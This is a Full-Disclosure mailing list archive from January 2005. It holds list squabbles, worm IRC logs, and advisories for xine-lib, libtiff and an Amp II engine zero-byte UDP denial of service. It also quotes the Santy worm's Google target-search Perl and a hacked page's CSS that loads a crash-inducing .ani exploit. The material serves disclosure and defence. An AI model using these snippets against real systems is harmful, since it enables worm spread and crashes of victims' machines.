>A contract can say "void after death" (e.g. many non-life insurance
>contracts), and there are few arguments about that. There should be no
>difference in that regard here. Read the contract/agreement, act
>accordingly. That is law as far as I understand it, although IANAL.
>
>Evidence of contractual agreement is available, thus the contract must
>hold true.
>
>another $0.02. although this is all getting a little tiring, which is
>partially why I had to reply. (ironically stupid I know, but hey, I am
>human too).
>
>  
>
However policy is bound by the laws of the state in which the entity 
setting policy resides or these days does business.  Legal details are 
painful and boring sometimes but it determines a lot. Especiallhy when 
one deals with things like inheiritance and righta of survivorship which 
often trump policy. However there are a limited number of these legal 
areas where this can happen. So policy is often policy and the way 
things go, but people can occassionally twart things and that should be 
taken into consideration,

Have Fun,
Sends Steve



From stevex11 at sbcglobal.net  Thu Jan  6 11:02:34 2005
From: stevex11 at sbcglobal.net (Steve Kudlak)
Date: Thu, 06 Jan 2005 03:02:34 -0800
Subject: [Full-Disclosure] Request Declined; Causes of failures in systems
	was list noise
In-Reply-To: <E1ClwxA-0003Wm-00.phased-mail-ru@f15.mail.ru>
References: <E1ClwxA-0003Wm-00.phased-mail-ru@f15.mail.ru>
Message-ID: <41DD1ACA.1040903@sbcglobal.net>

phased wrote:

>yes you can suck my cock, mmmk thanks
>
>THIS EMAIL IS (C) 2005 phased all rights reserved
>
>-----Original Message-----
>From: Steve Kudlak <stevex11 at sbcglobal.net>
>To: dcdave at att.net
>Date: Tue, 04 Jan 2005 13:11:36 -0800
>Subject: Re: [Full-Disclosure] list noise
>
>  
>
>>dcdave at att.net wrote:
>>
>>    
>>
>>>I will NOT respond to this; 
>>>I will NOT respond to this; 
>>>I will Not respond to this;
>>>
>>>dcdave
>>>
>>>--
>>>CSO
>>>InfoSec Group
>>>703-626-6516		
>>>	
>>>
>>>-------------- Original message ----------------------
>>>From: phased <phased at mail.ru>
>>> 
>>>
>>>      
>>>
>>>>I also care about noise, and responding to stupid mails makes it worse.
>>>>Every time people send stupid mails like the rm file thing, and people reply to 
>>>>the list, the author was successful in filling the list with crap for a day or 
>>>>so.
>>>>
>>>>If no one replies, then they dont get attention and the people who know their 
>>>>advisories(anyone with common sense) are blatantly crap will not be affected by 
>>>>their nuisance.
>>>>
>>>>You always get a load of emails to the list from people who want to tell 
>>>>everyone they know that an advisory for example was crap, yes we know
>>>>thank you, but we are not handing out gold stars today!!!
>>>>No need to tell us all every time!!!
>>>>
>>>>phased
>>>>
>>>>-----Original Message-----
>>>>From: Barrie Dempster <barrie at reboot-robot.net>
>>>>To: full-disclosure at lists.netsys.com
>>>>Date: Thu, 30 Dec 2004 09:36:07 +0000
>>>>Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand 
>>>>SecureIIS)
>>>>
>>>>   
>>>>
>>>>        
>>>>
>>>>>I'd have to agree with the eEye statement on this one. You sent out an
>>>>>advisory without disclosing the details, which offers no real benefit to
>>>>>anyone. Many people consider this responsible disclosure but that also
>>>>>requires you to notify the vendor (there were no @eeye.com's in your
>>>>>"to" list but there were a couple of press mailboxes).
>>>>>
>>>>>You didn't contact eEye, you didn't release details, you used an
>>>>>anonymous address and failed to mention or credit any of the other guys
>>>>>in your "testing team", This can only lead us to believe that the
>>>>>advisory is fake and only intended to generate bad press for eEye. I
>>>>>personally don't care about eEye's PR rating but I do care about the
>>>>>level of noise on these lists and I do care about backdoor-ed commercial
>>>>>products that are in common use. You may have an issue with eEye and see
>>>>>this as revenge. However, I doubt you also have an issue with the many
>>>>>admins who probably have spent their holiday season investigating these
>>>>>claims, when there are likely more pressing matters to address, such as
>>>>>a large stock of alcohol.
>>>>>
>>>>>Show us details, or be quiet. If you intended to embarrass eEye the plan
>>>>>backfired as any competent professional on this list (there are a few -
>>>>>I've heard stories about them) would see this as a shameful attempt and
>>>>>would be laughing at you, not eEye.
>>>>>
>>>>>Seasons greetings to eEye and all Full Disclosure subscribers - even you
>>>>>"Lance Gusto".
>>>>>
>>>>>With Regards..
>>>>>Barrie Dempster (zeedo) - Fortiter et Strenue
>>>>>
>>>>> http://www.bsrf.org.uk
>>>>>
>>>>>[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>ATTACHMENT: application/pgp-signature ("signature.asc")
>>>>>
>>>>>_______________________________________________
>>>>>Full-Disclosure - We believe in it.
>>>>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>>>>
>>>>>
>>>>>     
>>>>>
>>>>>          
>>>>>
>>>>_______________________________________________
>>>>Full-Disclosure - We believe in it.
>>>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>>>   
>>>>
>>>>        
>>>>
>>>_______________________________________________
>>>Full-Disclosure - We believe in it.
>>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>>
>>> 
>>>
>>>      
>>>
>>Neither Will I!
>>Neither Will I!
>>Neither Will I!
>>Let it Die!
>>Let it Die!
>>Let it Die!;)
>>
>>Have Fun,
>>Sends Steve
>>
>>
>>    
>>
>
>  
>
I would prefer not to; Go find a girlfriend or boyfriend to take of that 
....
It is definitely not  a security issues despite what republicans claimed
during Monicagate but I suspect if one were having "too much fun"
during security software install.bad things might happen later.

Speaking of that I used to write "pattern summaries"  of  NTSB/FAA
air accident stuff in a forner life; Human Error was often at rhe bottom 
of it
and lots of people did pull stupids because they were otherwise involved.
Ofter however a good chunk like 50% could be traced back to people
being too tired when they were doing something important. I wonder how
many security problems come from being tired or something rather tan more
comolicated stuff. I mean some of the setting up stuff I have domne was 
pretty
complicated and should not be done when tied or comprised.  Like now when]
I am tired and making typos etc.''

Have Fun,
Sends Stev



From stevex11 at sbcglobal.net  Thu Jan  6 11:12:02 2005
From: stevex11 at sbcglobal.net (Steve Kudlak)
Date: Thu, 06 Jan 2005 03:12:02 -0800
Subject: [Full-Disclosure] list noise
In-Reply-To: <010420052134.5207.41DB0BC9000024570000145721603760210A900E0B0C0B@att.net>
References: <010420052134.5207.41DB0BC9000024570000145721603760210A900E0B0C0B@att.net>
Message-ID: <41DD1D02.70207@sbcglobal.net>


In my case I get a mix of stuff that comes a variety of places. The 
various sbc clones were in there, so was symoatico. There were Healtyh 
Insurance processors and they seemed the worst. I think it varies 
depending on a lot of variables.  But it is worth watching this stuff 
and taking adequate precautions. I have Norton and am considering a 
backup. My other account is run through sentinare which is really good 
that plus Norton gets almost everything. The only one that got through 
yearsn ago was the A"Playa Virus" but luckily I don't use IE or Outlook 
and I just tossed it withoug opening the attachment so all was OK.

Have Fun,
Sends Steve

P,S, I also scan all outgoing mail etc.



dcdave at att.net wrote:

> Steve,
>  
> On a related topic, what is sbcglobal?
> 90% of the virus e-mail I see coming in where I work (usually Jennifer 
> the wild girl xxx07) is coming from infected sbcglobal addresses.
>  
> Warm regards,
> dcdave--
> CSO
> InfoSec Group
> 703-626-6516
>
>     -------------- Original message from Steve Kudlak
>     <stevex11 at sbcglobal.net>: --------------
>
>
>     > dcdave at att.net wrote:
>     >
>     > >I will NOT respond to this;
>     > >I will NOT respond to this;
>     > >I will Not respond to this;
>     > >
>     > >dcdave
>     > >
>     > >--
>     > >CSO
>     > >InfoSec Group
>     > >703-626-6516
>     > >
>     > >
>     > > -------------- Original message ----------------------
>     > >From: phased
>     > >
>     > >
>     > >>I also care about noise, and responding to stupid mails makes
>     it worse.
>     > >>Every time people send stupid mails like the rm file thing,
>     and people reply
>     > to
>     > >>the list, the author was successful in filling the list with
>     crap for a day or
>     > >>so.
>     > >>
>     > >>If no one replies, then they dont get attention and the people
>     who know their
>     > >>advisories(anyone with common sense) are blatantly crap will
>     not be affected
>     > by
>     > >>their nuisance.
>     > >>
>     > >>You always get a load of emails to the list from people who
>     want to tell
>     > >>everyone they know that an advisory for example was crap, yes
>     we know
>     > >>thank you, but we are not handing out gold stars today!!!
>     > >>No need to tell us all every time!!!
>     > >>
>     > >>phased
>     > >>
>     > >>-----Original Message-----
>     > >>From: Barrie Dempster
>     > >>To: full-disclosure at lists.netsys.com
>     > >>Date: Thu, 30 Dec 2004 09:36:07 +0000
>     > >>Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye
>     > Products(IRISand
>     > >>SecureIIS)
>     > >>
>     > >>
>     > >>
>     > >>>I'd hav! e to agr ee with the eEye statement on this one. You
>     sent out an
>     > >>>advisory without disclosing the details, which offers no real
>     benefit to
>     > >>>anyone. Many people consider this responsible disclosure but
>     that also
>     > >>>requires you to notify the vendor (there were no @eeye.com's
>     in your
>     > >>>"to" list but there were a couple of press mailboxes).
>     > >>>
>     > >>>You didn't contact eEye, you didn't release details, you used an
>     > >>>anonymous address and failed to mention or credit any of the
>     other guys
>     > >>>in your "testing team", This can only lead us to believe that
>     the
>     > >>>advisory is fake and only intended to generate bad press for
>     eEye. I
>     > >>>personally don't care about eEye's PR rating but I do care
>     about the
>     > >>>level of noise on these lists and I do care about backdoor-ed
>     commercial
>     > >>>products that are in common use. You may have an issue with
>     eEye and see
>     > >>>this as revenge. However, I doubt you also have an issue with
>     the many
>     > >>>admins who probably have spent their holiday season
>     investigating these
>     > >>>claims, when there are likely more pressing matters to
>     address, such as
>     > >>>a large stock of alcohol.
>     > >>>
>     > >>>Show us details, or be quiet. If you intended to embarrass
>     eEye the plan
>     > >>>backfired as any competent professional on this list (there
>     are a few -
>     > >>>I've heard stories about them) would see this as a shameful
>     attempt and
>     > >>>would be laughing at you, not eEye.
>     > >>>
>     > >>>Seasons greetings to eEye and all Full Disclosure subscribers
>     - even you
>     > >>>"Lance Gusto".
>     > >>>
>     > >>>With Regards..
>     > >>>Barrie Dempster (zeedo) - Fortiter et Strenue
>     > >&! gt;>
>     > >>> http://www.bsrf.org.uk
>     > >>>
>     > >>>[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
>     > >>>
>     > >>>
>     > >>>
>     > >>>
>     > >>>
>     > >>>ATTACHMENT: application/pgp-signature ("signature.asc")
>     > >>>
>     > >>>_______________________________________________
>     > >>>Full-Disclosure - We believe in it.
>     > >>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>     > >>>
>     > >>>
>     > >>>
>     > >>>
>     > >>_______________________________________________
>     > >>Full-Disclosure - We believe in it.
>     > >>Charter: http://lists.netsys.com/full-disclosure-charter.html
>     > >>
>     > >>
>     > >
>     > >
>     > >_______________________________________________
>     > >Full-Disclosure - We believe in it.
>     > >Charter: http://lists.netsys.com/full-disclosure-charter.html
>     > >
>     > >
>     > >
>     > Neither Will I!
>     > Neither Will I!
>     > Neither Will I!
>     > Let it Die!
>     > Let it Die!
>     > Let it Die!;)
>     >
>     > Have Fun,
>     > Sends Steve
>     > 
>




From infsec at gmail.com  Thu Jan  6 11:16:26 2005
From: infsec at gmail.com (Willem Koenings)
Date: Thu, 6 Jan 2005 13:16:26 +0200
Subject: [Full-Disclosure] Re: SQL injection worm ?
In-Reply-To: <20050105232725.95724.qmail@cgisecurity.net>
References: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com>
	<20050105232725.95724.qmail@cgisecurity.net>
Message-ID: <9b13f6c105010603164ce550af@mail.gmail.com>

On Wed, 5 Jan 2005 18:27:25 -0500 (EST), bugtraq at cgisecurity.net
<bugtraq at cgisecurity.net> wrote:
> Here is some additional information.

> ? ircname  : [UNC]69402
> | channels : #!processor
> ? server   : shellcodewarez.info (ScW Network)
> : idle     : 4 hours 57 mins 9 secs (signon: Tue Jan  4 23:40:01 2005)
> ??????---?--??-??????---?--??-?????????--- --  -
> | [UNC]73047 (vjfud at BFE013F.3F070E03.2BA09B8.IP) (unknown)
> ? ircname  : [UNC]73047
> | channels : +#!processor
> ? server   : shellcodewarez.info (ScW Network)
> : idle     : 4 hours 57 mins 26 secs (signon: Wed Jan  5 07:48:45 2005)
> 
> As you can see they are masking the ip addresses.

That depends. When new victim arrives on the channel, you can see his IP:

[13:06] * [UNC]08801 (ngnvje at 210.93.182.253) has joined #!processor

but on inquery it's really masked, yes:

[13:07] [UNC]08801 is ngnvje at 9665494.1E6027D8.277B9277.IP * [UNC]08801 
[13:07] [UNC]08801 is on #!processor  
[13:07] [UNC]08801 using shellcodewarez.info ScW Network 
[13:07] [UNC]08801 has been idle 49 secs, signed on thursday jan 06 01:18 pm

all the best,

W.



From se_cur_ity at hotmail.com  Thu Jan  6 09:23:01 2005
From: se_cur_ity at hotmail.com (morning_wood)
Date: Thu, 6 Jan 2005 01:23:01 -0800
Subject: [Full-Disclosure] New Santy-Worm attacks *all* PHP-skripts
References: <Pine.LNX.4.58.0412251805110.19888@loki.ct.heise.de>
Message-ID: <BAY10-DAV3BA14D8BE5863A69171D4D9930@phx.gbl>

> The relevant code:
> ---------
> $procura = 'inurl:*.php?*=' . $numr;
>
> for($n=0;$n<900;$n += 10){
> $sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort =>
> 80, Proto => "tcp") or next;
> print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
nothing new here...
unless... we try the L337 G00GLE HAX0R S34RCH STR!NGZ
http://www.google.com/search?q=inurl:*.php%3F*%3D&hl=en&lr=&newwindow=1&start=90&sa=N

BUT !!!  LIES !!! LIES I SAY !!!!
GOOGLE IS TELLING ME I AM INFECTED ( lmfao )

------------------- / SNIP /------------------
"and it appears that your computer or network has been infected"
-------------------/ SNIP /------------------

WRONG ANSWER WRONG EXPLAINATION WRONG JUST WRONG

We're sorry...
.. but we can't process your request right now. A computer virus or spyware
application is sending us automated requests, and it appears that your
computer or network has been infected.
We'll restore your access as quickly as possible, so try again soon. In the
meantime, you might want to run a virus checker or spyware remover to make
sure that your computer is free of viruses and other spurious software.
We apologize for the inconvenience, and hope we'll see you again on Google.




bleh,  now i need to find a new best friend... GOOGLE LIED :(
m.w


From koon at gentoo.org  Thu Jan  6 12:41:50 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Thu, 06 Jan 2005 13:41:50 +0100
Subject: [Full-Disclosure] [ GLSA 200501-07 ] xine-lib: Multiple overflows
Message-ID: <41DD320E.9050302@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-07
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: xine-lib: Multiple overflows
      Date: January 06, 2005
      Bugs: #74475
        ID: 200501-07

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

xine-lib contains multiple overflows potentially allowing execution of
arbitrary code.

Background
==========

xine-lib is a multimedia library which can be utilized to create
multimedia frontends.

Affected packages
=================

    -------------------------------------------------------------------
     Package              /  Vulnerable  /                  Unaffected
    -------------------------------------------------------------------
  1  media-libs/xine-lib     < 1_rc8-r1                    >= 1_rc8-r1
                                                          *>= 1_rc6-r1

Description
===========

Ariel Berkman discovered that xine-lib reads specific input data into
an array without checking the input size in demux_aiff.c, making it
vulnerable to a buffer overflow (CAN-2004-1300) . iDefense discovered
that the PNA_TAG handling code in pnm_get_chunk() does not check if the
input size is larger than the buffer size (CAN-2004-1187). iDefense
also discovered that in this same function, a negative value could be
given to an unsigned variable that specifies the read length of input
data (CAN-2004-1188).

Impact
======

A remote attacker could craft a malicious movie or convince a targeted
user to connect to a malicious PNM server, which could result in the
execution of arbitrary code with the rights of the user running any
xine-lib frontend.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All xine-lib users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose media-libs/xine-lib

References
==========

  [ 1 ] CAN-2004-1187
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1187
  [ 2 ] CAN-2004-1188
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1188
  [ 3 ] CAN-2004-1300
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1300
  [ 4 ] iDefense Advisory

http://www.idefense.com/application/poi/display?id=176&type=vulnerabilities
  [ 5 ] iDefense Advisory

http://www.idefense.com/application/poi/display?id=177&type=vulnerabilities
  [ 6 ] Ariel Berkman Advisory
        http://tigger.uic.edu/~jlongs2/holes/xine-lib.txt

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-07.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 189 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/5bb9bf82/attachment.bin 

From tom.koehler at gmx.net  Thu Jan  6 13:20:51 2005
From: tom.koehler at gmx.net (Tom Koehler)
Date: Thu, 6 Jan 2005 14:20:51 +0100 (MET)
Subject: [Full-Disclosure] Animated Cursor Blue Screen?
Message-ID: <10941.1105017651@www50.gmx.net>

Hi Nick,
looks like
'Microsoft Windows Kernel ANI File Parsing Crash and DOS Vulnerability'
for details see:
http://www.securityfocus.com/archive/1/385340/2004-12-18/2004-12-24/0
hth
tom

-- 
+++ Sparen Sie mit GMX DSL +++ http://www.gmx.net/de/go/dsl
AKTION f?r Wechsler: DSL-Tarife ab 3,99 EUR/Monat + Startguthaben


From fw at deneb.enyo.de  Thu Jan  6 13:28:53 2005
From: fw at deneb.enyo.de (Florian Weimer)
Date: Thu, 06 Jan 2005 14:28:53 +0100
Subject: [Full-Disclosure] Pattern matching search tool
In-Reply-To: <FC3E807B11C7C201229C5441@utd49554.utdallas.edu> (Paul Schmehl's
	message of "Wed, 05 Jan 2005 15:28:24 -0600")
References: <FC3E807B11C7C201229C5441@utd49554.utdallas.edu>
Message-ID: <87hdlu1yay.fsf@deneb.enyo.de>

* Paul Schmehl:

> Is anyone aware of a search tool (not Google or search engine
> aggregation software) that could be used to search our network for
> "interesting stuff"?  It needs to be capable of doing pattern
> matching similar to perl's regular expression stuff.

For active sites, ngrep is rather useful.  It won't catch dormant
applications, though.


From nicholasnam at hush.com  Thu Jan  6 14:02:34 2005
From: nicholasnam at hush.com (nicholasnam at hush.com)
Date: Thu,  6 Jan 2005 06:02:34 -0800
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
Message-ID: <200501061402.j06E2exe057202@mailserver3.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Yes, that's exactly it.  Thanks.

On Wed, 05 Jan 2005 18:33:39 -0800 "ALD, Aditya, Aditya Lalit
Deshmukh" <aditya.deshmukh at online.gateway.expertworks.net> wrote:
>>- --SNIP--
>>;; QUESTION SECTION:
>>;www.microsoft.com.             IN      A
>>
>>;; ANSWER SECTION:
>>www.microsoft.com.      2415    IN      CNAME
>>www.microsoft.com.nsatc.net.
>>- --SNIP--
>>
>>Notice that www.microsoft.com is a cname for
>>www.microsoft.com.nsatc.net.  It's not limited to
>www.microsoft.com
>>and to the best of my knowledge the correct web content is
>>displayed.
>
>
>Ms and all other big players have a round robin dns setup to
>prevent
>slowdown of their sites. It this what you are seeing ?
>
>-aditya
>
>
>___________________________________________________________________
>_____
>Delivered using the Free Personal Edition of Mailtraq
>(www.mailtraq.com)
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkHdRUAACgkQQOst28rex95QLACffkWvXLliSMaBQVG0k+YlmpX9SEQA
niTzZQHhP4aALP3wxYpXJ8YagPP3
=KRWa
-----END PGP SIGNATURE-----



From str0ke at milw0rm.com  Thu Jan  6 15:07:14 2005
From: str0ke at milw0rm.com (str0ke at milw0rm.com)
Date: Thu, 6 Jan 2005 09:07:14 -0600 (CST)
Subject: [Full-Disclosure] Animated Cursor Blue Screen?
Message-ID: <Pine.LNX.4.58.0501060905280.25448@server.texasisg.net>

Nick,

Here is the original source I posted:
http://www.milw0rm.com/id.php?id=721

The original author is Flashsky.

Crappy when people use milw0rm.com for other purposes then testing the
vuln on themselves.

Regards,
str0ke


From kdodd at co.st-johns.fl.us  Thu Jan  6 16:37:07 2005
From: kdodd at co.st-johns.fl.us (Kelly Dodd)
Date: Thu, 6 Jan 2005 11:37:07 -0500 
Subject: [Full-Disclosure] Animated Cursor Blue Screen?
Message-ID: <E3A8419A479CED4D9A271F4F3801277604026A9B@sjcmail1.mail.co.st-johns.fl.us>

Possibly this: 

http://secunia.com/advisories/13645/


-----Original Message-----
From: CrYpTiC MauleR [mailto:crypticmauler at linuxmail.org] 
Sent: Thursday, January 06, 2005 2:33 AM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] Animated Cursor Blue Screen?

When going to a bookmarked site which hosts public proxy lists I found out
the site was hacked. There was a meta-refresh to the attackers website, when
viewing the sourcode of the hacked webpage I noticed this....


[style type="text/css"]
body {CURSOR: url("http://www.milw0rm.com/sploits/KERNELBLUE.ani")}
[/style]


I was viewing the site in Firefox and Firefox as far as I remember does not
support animated cursors as of yet. I saved that file on my computer to
check  it out later. Only later did I realize it was a bad idea, whenever I
tried accessing the directory that file was saved I got a blue screen
(Windows 2000) I was able to delete the file using a command prompt. I am
assuming the atacker meant for the computer to crash upon the cursor loading
which failed (hooray for Firefox). Has anyone seen this before? I did a
brief search on Google for such an exploit but did not come across any. I am
assuming the crash could be done with any file type. Thanks for the input!




Regards,
Nick
-- 
______________________________________________
Check out the latest SMS services @ http://www.linuxmail.org 
This allows you to send and receive SMS through your mailbox.


Powered by Outblaze

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


From pauls at utdallas.edu  Thu Jan  6 16:38:18 2005
From: pauls at utdallas.edu (Paul Schmehl)
Date: Thu, 06 Jan 2005 10:38:18 -0600
Subject: [Full-Disclosure] Pattern matching search tool
In-Reply-To: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAA5lplkjP/20eX9TyK3ycK1QEAAAAA@online.gateway.expertworks.net>
References: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7V
	x+IAQ8KAAAAQAAAA5lplkjP/20eX9TyK3ycK1QEAAAAA@online.gateway.expertworks.net>
Message-ID: <7CDF1DDBDF91B486AB441763@utd49554.utdallas.edu>

--On Thursday, January 06, 2005 08:07:13 AM +0530 "ALD, Aditya, Aditya 
Lalit Deshmukh" <aditya.deshmukh at online.gateway.expertworks.net> wrote:
>
> Dear paul I think you answered your own question over here - its perl!

Yeah, I'm beginning to think that's what I'm going to have to do.

> However there is another tool ntop that I use quite a lot.
>
I apologize for the vague nature of my request.  I'm not looking for tools 
that can analyze network traffic.  I already have plenty of those.  I'm 
looking for tools that can search my network for *computers* that have 
*passive* (or active) content that I'd rather they didn't have.

The example I gave was phpBB.  If a worm named Santy comes out that attacks 
phpBB *specifically*, I'd like to know how many machines on my network have 
phpBB on them *regardless* of whether or not they have any active traffic.

There's a number of ways to do this manually.  You can Google for it, then 
check each box to see if it still has the installation (things change, you 
know.)  You could run nessus and correlate the data.  You could run nmap 
looking for the open ports (like 80) and then do some banner grabbing.

But all these methods involve labor *and* require that you react to an 
event.  I'm looking for something *proactive* that can "crawl" my network 
and report (by email or to mysql, etc.), that can be automated but allows 
me to do "special" searches if I want to.

Sort of a combination of ngrep, ntop, nessus, p0f, webcrawler, open port 
searcher, grep, find, locate, etc., etc.  A "Swiss army knife" discovery 
tool, if you will.

And the more I think about it, the more I feel a perl script coming on.

Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu


From martin.pitt at canonical.com  Thu Jan  6 17:37:56 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Thu, 6 Jan 2005 18:37:56 +0100
Subject: [Full-Disclosure] [USN-54-1] TIFF library tool vulnerability
Message-ID: <20050106173756.GA9434@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-54-1		   January 06, 2005
tiff vulnerability
CAN-2004-1183
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

libtiff-tools

The problem can be corrected by upgrading the affected package to
version 3.6.1-1.1ubuntu1.2.  In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Dmitry V. Levin discovered a buffer overflow in the "tiffdump"
utility. If an attacker tricked a user into processing a malicious
TIFF image with tiffdump, they could cause a buffer overflow which at
least causes the program to crash. However, it is not entirely clear
whether this can be exploited to execute arbitrary code with the
privileges of the user opening the image.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1-1.1ubuntu1.2.diff.gz
      Size/MD5:    22999 d884251e847a11301f8336b8d9f50e0f
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1-1.1ubuntu1.2.dsc
      Size/MD5:      646 7e0d3bb9141233f29e2b5999523882bd
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1.orig.tar.gz
      Size/MD5:   848760 bd252167a20ac7910ab3bd2b3ee9e955

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_amd64.deb
      Size/MD5:   172900 15c92000db5d6efe06dc5be73a3471e2
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_amd64.deb
      Size/MD5:   458416 8f3a4d1bcba9de0b9004f8a9c1103632
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_amd64.deb
      Size/MD5:   111440 df967606c94b419508c00b9e3194485d

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_i386.deb
      Size/MD5:   157260 d416a9e23840613a706f8196879614b3
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_i386.deb
      Size/MD5:   439598 87e32a85649ca58ebccf55b751297bb5
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_i386.deb
      Size/MD5:   102336 f2019f1620310fa2a5d5c59ccabab0fe

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_powerpc.deb
      Size/MD5:   187884 1c1173ba8723d03239399175a7e41566
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_powerpc.deb
      Size/MD5:   462478 0fe172d4ecc90f985df90f9a551faa52
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_powerpc.deb
      Size/MD5:   112518 80f528b39a9d230e20591337df3d556e
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/15b0a41b/attachment.bin 

From aluigi at autistici.org  Thu Jan  6 18:45:24 2005
From: aluigi at autistici.org (Luigi Auriemma)
Date: Thu, 6 Jan 2005 18:45:24 +0000
Subject: [Full-Disclosure] Socket unreacheable in Amp II engine
Message-ID: <20050106184524.40026fbd.aluigi@autistici.org>


#######################################################################

                             Luigi Auriemma

Application:  Amp II 3D engine
              http://www.4drulers.com/amp.html
Versions:     any version since there is no patch available
Games:        Gore: Ultimate Soldier <= 1.50
              ... possibly others ...
Platforms:    Windows
Bug:          socket unreacheable
Exploitation: remote, versus server
Date:         06 Jan 2005
Author:       Luigi Auriemma
              e-mail: aluigi at autistici.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Amp II engine is a game engine developed by 4d Rules
(http://www.4drulers.com) and Slam Software
(http://www.slamsoftware.com).
The only game released using this engine seems to be Gore
(http://www.4drulers.com/gore/) dated June 2002.


#######################################################################

======
2) Bug
======


The code used by the engine to handle UDP packets is similar to the
following:

  if(select(sock, &read_set, NULL, NULL, &timeout_zero)
    < 0) socket_error();
  ...
  if(ioctlsocket(sock, FIONREAD, &packet_length)
    < 0) socket_error();
  if(packet_length) {
    // read socket data
  }

The problem is just in the if(packet_length) check (meaning "if
packet_length is different than zero") because FIONREAD is used to
retrieve the size of the first packet in the socket's queue so if an
attacker sends an UDP packet of zero bytes to the server, packet_length
will continue to be equal to zero and the if(packet_length) check will
be messed entering in an infinite loop that will handle ever the same
empty UDP packet but without reading its content and freeing the
socket's queue.

In short, an UDP packet of zero bytes is able to silently interrupt the
match on the server.


#######################################################################

===========
3) The Code
===========


http://aluigi.altervista.org/poc/amp2zero.zip


#######################################################################

======
4) Fix
======


The Amp II engine is no longer supported and probably will be released
a patch for Gore in future.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org



From martin.pitt at canonical.com  Thu Jan  6 17:42:28 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Thu, 6 Jan 2005 18:42:28 +0100
Subject: [Full-Disclosure] [USN-55-1] imlib2 vulnerabilities
